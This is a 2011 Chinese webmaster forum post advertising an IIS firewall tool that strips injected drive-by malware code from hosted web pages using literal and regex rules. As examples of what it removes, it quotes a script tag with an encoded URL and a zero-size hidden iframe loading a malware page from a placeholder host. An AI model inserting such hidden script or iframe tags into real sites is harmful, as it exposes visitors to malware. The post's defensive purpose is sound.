湖南站长论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 897|回复: 0

实时从 I I S  中清除HTML/ASP/PHP/ASP.NET等网页的“挂马”代码软件(绿

[复制链接]
发表于 2011-5-23 23:02:55 | 显示全部楼层 |阅读模式

帖子内包含图片,需登陆后查看高清大图

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
软件名称: 实时从 IIS 中清除HTML/ASP/PHP/ASP.NET等网页的“挂马”代码软件(绿色版本软件)
软件性质: 试用软件
插件情况: 无插件,绿色版本
软件语言: 简体中文
应用平台: Windows 2003 IIS 6.0 / Windows 2008 IIS 7.0
下载地址: http://www.zcnt.com/guama.asp


软件详细介绍:


  
  《智创IIS防火墙》帮你解决这个难题,使用“正则表达式”模式匹配“挂马”代码,从 IIS 中清除“挂马”代码连接。不用修改硬盘 ASP / PHP 文件,不在担心错误修改客户 ASP / PHP 文件。

  对于 <script src=http://%AA%BB%CC%DD%EE%FF%GG></script> 这样的加密URL连接,只需要使用一个“正则表达式”,即可从IIS中过滤整个服务器中类似的“挂马”代码连接。

  对于 <iframe src=http://www.xxxx.com/muma.htm width=0 height=0></iframe> 这样的,width=0 height=0 设置为 0 的,也只需要通过“正则表达式”,即可轻松清除。


  支持三个方式清除"挂马"代码连接

  • 智能识别标准HTML网页代码,对HTML/ASP/PHP/ASP.NET等网页的顶部和底部的“挂马特征”代码进行自动清除操作
  • 使用"原样"模式清除,将需要清除的代码加入到 RepHtmlText.txt 文件中
  • 使用"正则表达式"模式进行清除,可以自己定义“正则表达式”进行清除操作,使用范围更广


如下所示,使用“原样”模式清除挂马代码演示,站点网页顶部和底部被人加入一些类似这样的代码


                               
登录/注册后可看大图



在防火墙配置文件中,加入需要清除的“挂马”代码连接,并启用“挂马”代码清除功能


                               
登录/注册后可看大图



相关“挂马”代码已经从IIS里清除


                               
登录/注册后可看大图



其他用途一,清除指定关键字功能
  从HTML/ASP/PHP/ASP.NET网页清除任意内容,如实现关键字“清除”功能,将指定的关键字从HTML/ASP/PHP/ASP.NET网页里清除掉。


其他用途二,清除ASP/PHP木马HTML特征,使木马无法正常运行
  从ASP/PHP文件里,找出一些常见的木马HTML特征,将指定的特征进行清除,使木马成为废品,从而无法正常运行。



软件下载和详细介绍 http://www.zcnt.com/guama.asp



.
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|Archiver|湖南站长论坛

GMT+8, 2024-4-16 21:28 , Processed in 0.161908 second(s), 8 queries , Gzip On, MemCached On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表